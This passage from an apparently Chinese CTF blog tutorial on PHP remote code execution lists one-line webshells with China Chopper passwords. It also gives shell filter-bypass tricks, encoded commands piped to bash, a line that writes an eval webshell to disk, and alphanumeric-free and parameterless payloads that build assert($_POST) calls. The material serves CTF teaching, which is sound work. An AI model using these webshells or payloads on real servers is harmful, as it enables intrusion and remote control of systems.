class="language-php">#创建匿名函数执行代码#执行命令和上传文件参考eval函数(必须加分号)。#菜刀连接密码：cmd$func =create_function(&#39;&#39;,$_POST[&#39;cmd&#39;]);$func();</code></pre><p><strong>array_map()</strong></p><pre><code class="language-php">#array_map() 函数将用户自定义函数作用到数组中的每个值上，并返回用户自定义函数作用后的带有新值的数组。 回调函数接受的参数数目应该和传递给 array_map() 函数的数组数目一致。#命令执行http://localhost/123.php?func=system   cmd=whoami#菜刀连接http://localhost/123.php?func=assert   密码：cmd$func=$_GET[&#39;func&#39;];$cmd=$_POST[&#39;cmd&#39;];$array[0]=$cmd;$new_array=array_map($func,$array);echo $new_array;</code></pre><p><strong>call_user_func()</strong></p><pre><code class="language-php">#传入的参数作为assert函数的参数#cmd=system(whoami)#菜刀连接密码：cmdcall_user_func(&quot;assert&quot;,$_POST[&#39;cmd&#39;]);</code></pre><p><strong>call_user_func_array()</strong></p><pre><code class="language-php">#将传入的参数作为数组的第一个值传递给assert函数#cmd=system(whoami)#菜刀连接密码：cmd$cmd=$_POST[&#39;cmd&#39;];$array[0]=$cmd;call_user_func_array(&quot;assert&quot;,$array);</code></pre><p><strong>array_filter()</strong></p><pre><code class="language-php">#用回调函数过滤数组中的元素：array_filter(数组,函数)#命令执行func=system&amp;cmd=whoami#菜刀连接http://localhost/123.php?func=assert  密码cmd$cmd=$_POST[&#39;cmd&#39;];$array1=array($cmd);$func =$_GET[&#39;func&#39;];array_filter($array1,$func);</code></pre><p><strong>uasort()</strong></p><pre><code class="language-php">#php环境&gt;=&lt;5.6才能用#uasort() 使用用户自定义的比较函数对数组中的值进行排序并保持索引关联 。#命令执行：http://localhost/123.php?1=1+1&amp;2=eval($_GET[cmd])&amp;cmd=system(whoami);#菜刀连接：http://localhost/123.php?1=1+1&amp;2=eval($_POST[cmd])   密码：cmdusort($_GET,&#39;asse&#39;.&#39;rt&#39;);</code></pre><h2 id="三、例题"><a href="#三、例题" class="headerlink" title="三、例题"></a>三、例题</h2><ul><li><a href="https://www.nssctf.cn/problem/424">https://www.nssctf.cn/problem/424</a></li><li><a href="https://www.nssctf.cn/problem/383">https://www.nssctf.cn/problem/383</a></li><li><a href="https://www.nssctf.cn/problem/425">https://www.nssctf.cn/problem/425</a></li><li><a href="https://www.nssctf.cn/problem/3090">https://www.nssctf.cn/problem/3090</a></li></ul><h2 id="四、绕过方式"><a href="#四、绕过方式" class="headerlink" title="四、绕过方式"></a>四、绕过方式</h2><h3 id="空格"><a href="#空格" class="headerlink" title="空格"></a>空格</h3><pre><code class="language-php">#常见的绕过符号有：$IFS$9 、$&#123;IFS&#125; 、%09(php环境下)、 重定向符&lt;&gt;、&lt;、#$IFS在linux下表示分隔符，如果不加&#123;&#125;则bash会将IFS解释为一个变量名，加一个&#123;&#125;就固定了变量名，$IFS$9后面之所以加个$是为了起到截断的作用</code></pre><h3 id="命令分隔符"><a href="#命令分隔符" class="headerlink" title="命令分隔符"></a>命令分隔符</h3><pre><code class="language-php">%0a  #换行符，需要php环境%0d  #回车符，需要php环境;    #在 shell 中，是”连续指令”&amp;    #不管第一条命令成功与否，都会执行第二条命令&amp;&amp;   #第一条命令成功，第二条才会执行|    #第一条命令的结果，作为第二条命令的输入||   #第一条命令失败，第二条才会执行</code></pre><h3 id="关键字"><a href="#关键字" class="headerlink" title="关键字"></a>关键字</h3><p>假如过滤了关键字cat\flag，无法读取不了flag.php，又该如何去做</p><p>拼接绕过</p><pre><code class="language-php">#执行ls命令：a=l;b=s;$a$b#cat flag文件内容：a=c;b=at;c=f;d=lag;$a$b $&#123;c&#125;$&#123;d&#125;#cat test文件内容a=&quot;ccaatt&quot;;b=$&#123;a:0:1&#125;$&#123;a:2:1&#125;$&#123;a:4:1&#125;;$b test</code></pre><p>编码绕过</p><pre><code class="language-php">#base64echo &quot;Y2F0IC9mbGFn&quot;|base64 -d|bash  ==&gt; cat /flagecho Y2F0IC9mbGFn|base64 -d|sh      ==&gt; cat /flag#hexecho &quot;0x636174202f666c6167&quot; | xxd -r -p|bash   ==&gt; cat /flag#oct/字节$(printf &quot;\154\163&quot;) ==&gt;ls$(printf &quot;\x63\x61\x74\x20\x2f\x66\x6c\x61\x67&quot;) ==&gt;cat /flag&#123;printf,&quot;\x63\x61\x74\x20\x2f\x66\x6c\x61\x67&quot;&#125;|\$0 ==&gt;cat /flag#i也可以通过这种方式写马#内容为&lt;?php @eval($_POST[&#39;c&#39;]);?&gt;$&#123;printf,&quot;\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76&quot;&#125; &gt;&gt; 1.php</code></pre><p>单引号和双引号绕过</p><pre><code class="language-php">c&#39;a&#39;t testc&quot;a&quot;t test</code></pre><p>反斜杠绕过</p><pre><code class="language-php">ca\t test</code></pre><p>通过$PATH绕过</p><pre><code class="language-php">#echo $PATH 显示当前PATH环境变量，该变量的值由一系列以冒号分隔的目录名组成#当执行程序时，shell自动跟据PATH变量的值去搜索该程序#shell在搜索时先搜索PATH环境变量中的第一个目录，没找到再接着搜索，如果找到则执行它，不会再继续搜索echo $PATH /usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin`echo $PATH| cut -c 8,9`t test</code></pre><p>通配符绕过</p><blockquote><ol><li>[…]表示匹配方括号之中的任意一个字符</li><li>{…}表示匹配大括号里面的所有模式，模式之间使用逗号分隔。</li><li>{…}与[…]有一个重要的区别，当匹配的文件不存在，[…]会失去模式的功能，变成一个单纯的字符串，而{…}依然可以展开</li></ol></blockquote><pre><code class="language-php">cat t?stcat te*cat t[a-z]stcat t&#123;a,b,c,d,e,f&#125;st</code></pre><h1 id="PHP-RCE-进阶技巧"><a href="#PHP-RCE-进阶技巧" class="headerlink" title="PHP RCE 进阶技巧"></a>PHP RCE 进阶技巧</h1><h3 id="例题"><a href="#例题" class="headerlink" title="例题"></a>例题</h3><ul><li><p><a href="https://www.nssctf.cn/problem/439">https://www.nssctf.cn/problem/439</a></p></li><li><p><a href="https://www.nssctf.cn/problem/467">https://www.nssctf.cn/problem/467</a></p></li><li><p><a href="https://www.nssctf.cn/problem/1095">https://www.nssctf.cn/problem/1095</a></p></li><li><p><a href="https://ctf.xidian.edu.cn/training/19?challenge=779">https://ctf.xidian.edu.cn/training/19?challenge=779</a></p></li></ul><h2 id="一、无字母数字RCE"><a href="#一、无字母数字RCE" class="headerlink" title="一、无字母数字RCE"></a>一、无字母数字RCE</h2><h3 id="技术原理与背景"><a href="#技术原理与背景" class="headerlink" title="技术原理与背景"></a>技术原理与背景</h3><p>无字母数字RCE是指在不使用任何字母(a-z,A-Z)和数字(0-9)的情况下实现代码执行的技巧。这种技术在以下场景特别有用：</p><ul><li>过滤了所有字母和数字的CTF题目</li><li>严格的WAF规则过滤了常规payload</li><li>需要绕过字符限制的实战环境</li></ul><p>例如：</p><pre><code class="language-php">&lt;?phphighlight_file(__FILE__);$code = $_GET[&#39;code&#39;];if(preg_match(&quot;/[A-Za-z0-9]+/&quot;,$code))&#123;    die(&quot;hacker!&quot;);&#125;@eval($code);?&gt;</code></pre><p>思路：</p><p>利用各种<strong>非数字字母的字符</strong>，经过各种<strong>变换（异或，取反，自增）</strong>，构造出<strong>单个的字母字符</strong>，然后把单个字符<strong>拼接成函数名</strong>，进行动态执行。</p><h3 id="核心实现方法"><a href="#核心实现方法" class="headerlink" title="核心实现方法"></a>核心实现方法</h3><h4 id="1-异或"><a href="#1-异或" class="headerlink" title="1.异或"></a>1.异或</h4><p>php7有一种特性叫做函数的<strong>动态调用</strong>，即在字符串上加一个括号就可以调用和字符串同名的函数</p><p>例如：</p><pre><code class="language-php">(&quot;phpinfo&quot;)();</code></pre><p>而其中的字符串可以是任意形式，例如拼接：<code>(&quot;php&quot;.&quot;info&quot;)</code> 或者<strong>运算的结果</strong></p><p>异或运算，本质是得到这样的字符串然后括起来，进行命令操作</p><p>这里的异或，指的是php按位异或，在php 中，两个字符异或后，得到的依然是一个字符！</p><p>例如：将字符“A”和“?”进行异或：</p><pre><code class="language-php">&lt;?php    echo &quot;A&quot; ^ &quot;?&quot;;</code></pre><p>得到：<code>~</code></p><p>它是如何计算的呢，过程如下：</p><p>首先将 A 和 ? 分别转换为对应的ASCII码，A变为65，?变为63</p><p>然后将其转换为对应的二进制数，A变为1000001，？变为111111 接下来就进行运算，异或的运算规则是相同为0，不同为1 </p><pre><code>A:1000001?:0111111(少一位，前面补0) 结果：  1111110</code></pre><p>接下来将其二进制转换为对应十进制数，1111110对应的十进制数为126，根据ASCII码表可知126对应的是<del>，所以这个时候得到的字符就是</del><br>因此，我们利用这种思路，就可以借助异或构造payload。</p><h4 id="2-取反"><a href="#2-取反" class="headerlink" title="2.取反"></a>2.取反</h4><p>取反其实是利用了<strong>不可见字符</strong>，我们对一个字符进行两次取反，得到的还是其本身。当我们进行一次取反过后，对其进行URL编码，再对其进行取反，此时可以得到可见的字符，它的本质其实还是这个字符本身，然后因为取反用的多是不可见字符，所以这里就达到了一种绕过的目的</p><p>取反运算符(~)的作用</p><p>在PHP中，<code>~</code>是按位取反运算符，它对一个数的每一位二进制位进行取反操作（0变1，1变0）9。例如：</p><pre><code class="language-php">echo ~3; // 输出-4echo ~&#39;a&#39;; // 输出一个不可见字符</code></pre><p>取反绕过的核心是：</p><ol><li>将想要执行的PHP代码进行取反操作</li><li>将取反后的结果进行URL编码</li><li>通过eval等函数执行取反后的代码</li></ol><p>因为取反后的字符大多是不可见字符，可以绕过基于正则表达式的字符过滤。</p><p><strong>具体实现步骤</strong></p><p>基本payload构造:</p><p>假设我们要执行<code>phpinfo();</code>，可以按照以下步骤构造payload：</p><ol><li>对”phpinfo”进行取反：</li></ol><pre><code class="language-php">echo ~&#39;phpinfo&#39;; // 输出不可见字符</code></pre><ol start="2"><li>对取反结果进行URL编码：</li></ol><pre><code class="language-php">echo urlencode(~&#39;phpinfo&#39;); // 输出&quot;%8F%97%8F%96%91%99%90&quot;</code></pre><ol start="3"><li>最终payload格式：</li></ol><pre><code class="language-php">?code=(~%8F%97%8F%96%91%99%90)();</code></pre><p>注意括号的使用：取反部分要用括号括起来，最后的分号不能少5。</p><p>以CTF题目为例，当遇到如下过滤条件时：</p><pre><code class="language-php">if(preg_match(&quot;/[A-Za-z0-9]+/&quot;,$code))&#123;    die(&quot;NO.&quot;);&#125;@eval($code);</code></pre><p>我们可以使用取反绕过：</p><pre><code class="language-php">?code=(~%8F%97%8F%96%91%99%90)();  // 执行phpinfo()?code=(~%9E%8C%8C%9A%8D%8B)(~%D7%9A%89%9E%93%D7%DB%A0%AF%B0%AC%AB%A4%9C%92%9B%A2%D6%D6);// 相当于assert(eval($_POST[cmd]));</code></pre><p><strong>可以使用以下PHP代码生成取反payload：</strong></p><pre><code class="language-php">&lt;?php$func = &quot;phpinfo&quot;;echo &quot;原始函数: &quot;.$func.&quot;\n&quot;;echo &quot;取反结果: &quot;.~$func.&quot;\n&quot;;echo &quot;URL编码: &quot;.urlencode(~$func).&quot;\n&quot;;?&gt;</code></pre><h4 id="3-自增"><a href="#3-自增" class="headerlink" title="3.自增"></a>3.自增</h4><p><strong>什么是自增绕过？</strong></p><p>自增绕过是一种在PHP代码中，当字母和数字被严格过滤时，通过利用PHP的类型转换和自增运算符(++)特性来构造所需字符的技术。它允许攻击者在无法直接输入字母数字的情况下，逐步”构建”出执行命令所需的字符7。</p><p>基本行为：</p><p>在PHP中，自增运算符有两种形式：</p><ul><li>前置自增(<code>++$a</code>)：先增加变量的值，然后返回新值</li><li>后置自增(<code>$a++</code>)：先返回变量的当前值，然后增加变量的值</li></ul><p>例如：</p><pre><code class="language-php">$a = &#39;A&#39;;echo ++$a; // 输出&#39;B&#39;echo $a++; // 输出&#39;B&#39;(但$a的值变为&#39;C&#39;)</code></pre><p><strong>为什么自增可以用于RCE绕过？</strong></p><p>当Web应用过滤了所有字母和数字时，传统的RCE方法(如直接输入<code>system(&#39;ls&#39;)</code>)无法使用。但PHP中：</p><ul><li>空数组<code>[]</code>可以转换为字符串’Array’</li><li>字符串可以通过自增逐步构建出需要的字符</li><li>利用这些特性可以构造出函数名和参数7</li></ul><p><strong>核心原理:</strong></p><ol><li>从空数组开始构建字符串</li></ol><pre><code class="language-php">$_ = [];        // 创建一个空数组$_ = @$_[&#39;&#39;];   // 尝试访问不存在的键，返回NULL并转换为空字符串$_ = $_[&#39;!&#39;==&#39;@&#39;]; // &#39;!&#39;==&#39;@&#39;返回false，转换为0，相当于$_ = $_[0]</code></pre><ol start="2"><li>利用自增构建字符</li></ol><p>PHP中字符串的自增遵循字母表顺序：</p><pre><code class="language-php">$_ = &#39;A&#39;;echo ++$_; // 输出&#39;B&#39;$_ = &#39;Z&#39;;echo ++$_; // 输出&#39;AA&#39; (类似于Excel的列命名)</code></pre><ol start="3"><li>构建完整函数调用</li></ol><p>通过逐步自增，可以从空字符串开始构建出如<code>assert</code>、<code>system</code>等关键函数名，以及执行命令所需的参数7。</p><p><strong>Payload解析</strong></p><p>下面是一个典型的自增绕过Payload，用于执行<code>assert($_POST[_])</code>：</p><pre><code class="language-php">$_=[];$_=@&quot;$_&quot;;         // $_ = &#39;Array&#39;$_=$_[&#39;!&#39;==&#39;@&#39;];   // $_ = &#39;A&#39;$___=$_;           // $___ = &#39;A&#39;$__=$_;            // $__ = &#39;A&#39;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// 经过18次自增，$__ = &#39;S&#39;$___.=$__;         // $___ = &#39;AS&#39;$___.=$__;         // $___ = &#39;ASS&#39;$__=$_;            // 重置$__ = &#39;A&#39;$__++;$__++;$__++;$__++;// 经过4次自增，$__ = &#39;E&#39;$___.=$__;         // $___ = &#39;ASSE&#39;$__=$_;            // 重置$__ = &#39;A&#39;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// 经过17次自增，$__ = &#39;R&#39;$___.=$__;         // $___ = &#39;ASSER&#39;$__=$_;            // 重置$__ = &#39;A&#39;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// 经过19次自增，$__ = &#39;T&#39;$___.=$__;         // $___ = &#39;ASSERT&#39;$____=&#39;_&#39;;         // $____ = &#39;_&#39;$__=$_;            // 重置$__ = &#39;A&#39;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// 经过15次自增，$__ = &#39;P&#39;$____.=$__;        // $____ = &#39;_P&#39;$__=$_;            // 重置$__ = &#39;A&#39;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// 经过14次自增，$__ = &#39;O&#39;$____.=$__;        // $____ = &#39;_PO&#39;$__=$_;            // 重置$__ = &#39;A&#39;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// 经过18次自增，$__ = &#39;S&#39;$____.=$__;        // $____ = &#39;_POS&#39;$__=$_;            // 重置$__ = &#39;A&#39;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;$__++;// 经过19次自增，$__ = &#39;T&#39;$____.=$__;        // $____ = &#39;_POST&#39;$_=$$____;         // $_ = $_POST$___($_[_]);       // assert($_POST[_])</code></pre><p>使用时配合POST参数：<code>_=phpinfo();</code>即可执行任意PHP代码7。</p><p>优缺点:</p><p>优点：</p><ul><li>完全不依赖字母和数字字符</li><li>在严格过滤环境下仍能工作</li><li>可以构建任意函数名和参数</li></ul><p>缺点：</p><ul><li>Payload通常较长且复杂</li><li>需要PHP环境支持字符串自增行为</li><li>对PHP版本有一定要求(某些版本行为可能不同)</li></ul><h2 id="二、无参数RCE"><a href="#二、无参数RCE" class="headerlink" title="二、无参数RCE"></a>二、无参数RCE</h2><p>无参RCE是一种特殊的代码执行漏洞，攻击者可以在不直接传递参数的情况下，通过构造特定的<strong>函数调用链</strong>来实现远程代码执行。以下是关于PHP无参RCE的详细介绍：</p><h3 id="成因"><a href="#成因" class="headerlink" title="成因"></a>成因</h3><p>PHP无参RCE的成因主要与以下几个方面有关：</p><ol><li><p><strong>代码逻辑缺陷</strong>：某些PHP代码可能会对用户输入进行不安全的处理，例如使用<code>eval()</code>函数直接执行用户输入的代码，而没有对输入进行严格的过滤</p></li><li><p><strong>正则表达式绕过</strong>：某些情况下，开发者可能会使用正则表达式来过滤用户输入，但攻击者可以通过构造特定的函数调用链来绕过这些过滤</p></li><li><p><strong>PHP函数特性</strong>：PHP中存在一些无参数的函数或可以通过特定方式构造参数的函数，这些函数可以被攻击者利用</p></li></ol><h3 id="利用方式"><a href="#利用方式" class="headerlink" title="利用方式"></a>利用方式</h3><p>利用PHP无参RCE的关键在于<strong>构造无参数的函数调用链</strong>，以实现代码执行。以下是一些常见的利用方式：</p><ol><li><p><strong>利用无参数函数</strong>：</p><ul><li><code>scandir()</code>：获取当前目录下的文件列表</li><li><code>localeconv()</code>：返回包含本地数字及货币格式信息的数组，可以用于构造特定的字符</li><li><code>current()</code>、<code>pos()</code>：获取数组的第一个值</li><li><code>array_rand()</code>、<code>array_reverse()</code>：操作数组以获取特定值</li></ul></li><li><p><strong>构造文件路径</strong>：</p><ul><li>通过<code>getcwd()</code>、<code>dirname()</code>等函数构造文件路径，结合<code>scandir()</code>获取目标文件</li></ul></li><li><p><strong>读取文件内容</strong>：</p><ul><li>利用<code>highlight_file()</code>、<code>show_source()</code>、<code>readfile()</code>等函数读取文件内容</li></ul></li><li><p><strong>命令执行</strong>：</p><ul><li>使用<code>eval()</code>、<code>assert()</code>等函数执行代码</li></ul></li></ol><h3 id="示例"><a href="#示例" class="headerlink" title="示例"></a>示例</h3><p>以下是一个典型的无参RCE场景：</p><pre><code class="language-php">&lt;?phpif(&#39;;&#39; === preg_replace(&#39;/[a-z,_]+\((?R)?\)/&#39;, NULL, $_GET[&#39;exp&#39;]))&#123;    eval($_GET[&#39;exp&#39;]);&#125;?&gt;</code></pre><p>攻击者可以通过构造类似以下的<code>exp</code>参数来绕过过滤并执行代码：</p><pre><code class="language-php">exp=print_r(scandir(current(localeconv())));</code></pre><p>通过<code>current(localeconv())</code>构造小数点，进而调用<code>scandir()</code>获取当前目录下的文件列表</p><h3 id="PHP相关函数"><a href="#PHP相关函数" class="headerlink" title="PHP相关函数"></a>PHP相关函数</h3><blockquote><p><strong>附：PHP官方文档的函数介绍：<a href="https://www.php.net/manual/zh/indexes.functions.php">https://www.php.net/manual/zh/indexes.functions.php</a></strong></p></blockquote><p><strong>一、HTTP相关函数</strong></p><h4 id="1-getallheaders"><a href="#1-getallheaders" class="headerlink" title="1. getallheaders()"></a>1. getallheaders()</h4><ul><li><strong>功能</strong>：获取所有HTTP请求头，返回关联数组</li><li><strong>利用</strong>：从请求头中获取可控数据</li></ul><pre><code class="language-php">// 示例：获取User-Agent头end(getallheaders()); // 获取最后一个头</code></pre><h4 id="2-get-defined-vars"><a href="#2-get-defined-vars" class="headerlink" title="2. get_defined_vars()"></a>2. get_defined_vars()</h4><ul><li><strong>功能</strong>：返回所有已定义变量的多维数组</li><li><strong>利用</strong>：获取GET&#x2F;GET&#x2F;_POST等超全局变量</li></ul><pre><code class="language-php">current(current(get_defined_vars())); // 获取第一个变量</code></pre><p><strong>二、会话控制函数</strong></p><h4 id="3-session-id"><a href="#3-session-id" class="headerlink" title="3. session_id()"></a>3. session_id()</h4><ul><li><strong>功能</strong>：获取&#x2F;设置当前会话ID</li><li><strong>利用</strong>：通过设置恶意session ID执行代码</li></ul><pre><code class="language-php">session_id(&#39;evilcode&#39;); session_start();</code></pre><h4 id="4-session-start"><a href="#4-session-start" class="headerlink" title="4. session_start()"></a>4. session_start()</h4><ul><li><strong>功能</strong>：启动新会话或重用现有会话</li><li><strong>利用</strong>：配合session_id()使用</li></ul><p><strong>三、本地化函数</strong></p><h4 id="5-localeconv"><a href="#5-localeconv" class="headerlink" title="5. localeconv()"></a>5. localeconv()</h4><ul><li><strong>功能</strong>：返回本地化数字格式信息</li><li><strong>关键利用</strong>：返回的数组第一个元素是小数点(.)</li></ul><pre><code class="language-php">current(localeconv()); // 得到点字符&quot;.&quot;</code></pre><p><strong>四、文件系统函数</strong></p><h4 id="6-scandir"><a href="#6-scandir" class="headerlink" title="6. scandir()"></a>6. scandir()</h4><ul><li><strong>功能</strong>：列出目录中的文件和目录</li><li><strong>利用</strong>：目录遍历核心函数</li></ul><pre><code class="language-php">scandir(&#39;.&#39;); // 列出当前目录</code></pre><h4 id="7-chdir"><a href="#7-chdir" class="headerlink" title="7. chdir()"></a>7. chdir()</h4><ul><li><strong>功能</strong>：改变当前目录</li><li><strong>利用</strong>：配合scandir()跳转目录</li></ul><pre><code class="language-php">chdir(&#39;..&#39;); // 跳到上级目录</code></pre><h4 id="8-getcwd-grtpwd"><a href="#8-getcwd-grtpwd" class="headerlink" title="8. getcwd() &#x2F; grtpwd()"></a>8. getcwd() &#x2F; grtpwd()</h4><ul><li><strong>功能</strong>：获取当前工作目录</li><li><strong>利用</strong>：获取路径信息</li></ul><pre><code class="language-php">getcwd(); // 如&quot;/var/www/html&quot;</code></pre><h4 id="9-dirname"><a href="#9-dirname" class="headerlink" title="9. dirname()"></a>9. dirname()</h4><ul><li><strong>功能</strong>：返回路径中的目录部分</li><li><strong>利用</strong>：目录跳转</li></ul><pre><code class="language-php">dirname(&#39;/var/www&#39;); // 返回&quot;/var&quot;</code></pre><p><strong>五、数组操作函数</strong></p><h4 id="10-current-pos"><a href="#10-current-pos" class="headerlink" title="10. current() &#x2F; pos()"></a>10. current() &#x2F; pos()</h4><ul><li><strong>功能</strong>：返回数组当前元素</li><li><strong>利用</strong>：获取数组第一个元素</li></ul><pre><code class="language-php">current(scandir(&#39;.&#39;)); // 第一个文件</code></pre><h4 id="11-array-reverse"><a href="#11-array-reverse" class="headerlink" title="11. array_reverse()"></a>11. array_reverse()</h4><ul><li><strong>功能</strong>：返回逆序数组</li><li><strong>利用</strong>：改变数组顺序</li></ul><pre><code class="language-php">end(array_reverse(scandir(&#39;.&#39;))); // 获取第一个文件</code></pre><h4 id="12-array-flip"><a href="#12-array-flip" class="headerlink" title="12. array_flip()"></a>12. array_flip()</h4><ul><li><strong>功能</strong>：交换键值</li><li><strong>利用</strong>：改变数组结构</li></ul><pre><code class="language-php">array_flip([&#39;a&#39;=&gt;1,&#39;b&#39;=&gt;2]); // [1=&gt;&#39;a&#39;,2=&gt;&#39;b&#39;]</code></pre><h4 id="13-array-rand"><a href="#13-array-rand" class="headerlink" title="13. array_rand()"></a>13. array_rand()</h4><ul><li><strong>功能</strong>：随机返回数组键名</li><li><strong>利用</strong>：随机选择文件</li></ul><pre><code class="language-php">scandir(&#39;.&#39;)[array_rand(scandir(&#39;.&#39;))];</code></pre><h4 id="14-next-prev-end"><a href="#14-next-prev-end" class="headerlink" title="14. next() &#x2F; prev() &#x2F; end()"></a>14. next() &#x2F; prev() &#x2F; end()</h4><ul><li><strong>功能</strong>：移动数组指针</li><li><strong>利用</strong>：遍历数组</li></ul><pre><code class="language-php">end(scandir(&#39;.&#39;)); // 最后一个文件next(scandir(&#39;.&#39;)); // 第二个文件</code></pre><p><strong>六、输出函数</strong></p><h4 id="15-print-r"><a href="#15-print-r" class="headerlink" title="15. print_r()"></a>15. print_r()</h4><ul><li><strong>功能</strong>：打印易读的变量信息</li><li><strong>利用</strong>：输出数组内容</li></ul><pre><code class="language-php">print_r(scandir(&#39;.&#39;));</code></pre><h4 id="16-show-source-highlight-file"><a href="#16-show-source-highlight-file" class="headerlink" title="16. show_source() &#x2F; highlight_file()"></a>16. show_source() &#x2F; highlight_file()</h4><ul><li><strong>功能</strong>：语法高亮显示文件源码</li><li><strong>利用</strong>：读取文件</li></ul><pre><code class="language-php">show_source(end(scandir(&#39;.&#39;)));</code></pre><h4 id="17-readfile-file-get-contents"><a href="#17-readfile-file-get-contents" class="headerlink" title="17. readfile() &#x2F; file_get_contents()"></a>17. readfile() &#x2F; file_get_contents()</h4><ul><li><strong>功能</strong>：读取文件内容</li><li><strong>利用</strong>：读取flag</li></ul><pre><code class="language-php">readfile(&#39;flag.txt&#39;);</code></pre><p><strong>七、编码转换函数</strong></p><h4 id="18-chr-ord"><a href="#18-chr-ord" class="headerlink" title="18. chr() &#x2F; ord()"></a>18. chr() &#x2F; ord()</h4><ul><li><strong>功能</strong>：ASCII码与字符互转</li><li><strong>利用</strong>：构造特定字符</li></ul><pre><code class="language-php">chr(65); // &#39;A&#39;ord(&#39;A&#39;); // 65</code></pre><h4 id="19-hex2bin"><a href="#19-hex2bin" class="headerlink" title="19. hex2bin()"></a>19. hex2bin()</h4><ul><li><strong>功能</strong>：十六进制转二进制</li><li><strong>利用</strong>：构造字符串</li></ul><pre><code class="language-php">hex2bin(&#39;414243&#39;); // &#39;ABC&#39;</code></pre><h4 id="20-urldecode"><a href="#20-urldecode" class="headerlink" title="20. urldecode()"></a>20. urldecode()</h4><ul><li><strong>功能</strong>：URL解码</li><li><strong>利用</strong>：解码特殊字符</li></ul><pre><code class="language-php">urldecode(&#39;%41&#39;); // &#39;A&#39;</code></pre><p><strong>八、数学函数</strong></p><h4 id="21-phpversion"><a href="#21-phpversion" class="headerlink" title="21. phpversion()"></a>21. phpversion()</h4><ul><li><strong>功能</strong>：获取PHP版本</li><li><strong>利用</strong>：判断环境</li></ul><pre><code class="language-php">floor(phpversion()); // 主版本号</code></pre><h4 id="22-rand-time"><a href="#22-rand-time" class="headerlink" title="22. rand() &#x2F; time()"></a>22. rand() &#x2F; time()</h4><ul><li><strong>功能</strong>：随机数&#x2F;时间戳</li><li><strong>利用</strong>：生成临时数据</li></ul><pre><code class="language-php">rand(1,100);time();</code></pre><h4 id="23-localtime"><a href="#23-localtime" class="headerlink" title="23. localtime()"></a>23. localtime()</h4><ul><li><strong>功能</strong>：返回本地时间数组</li><li><strong>利用</strong>：获取数字</li></ul><pre><code class="language-php">localtime()[0]; // 秒数</code></pre>]]>
    </content>
    <id>http://czxh.top/2025/04/14/php_rce/</id>
    <link href="http://czxh.top/2025/04/14/php_rce/"/>
    <published>2025-04-13T16:00:00.000Z</published>
    <summary>php后端rce漏洞</summary>
    <title>PHP-RCE</title>
    <updated>2025-08-08T16:00:00.000Z</updated>
  </entry>
</feed>
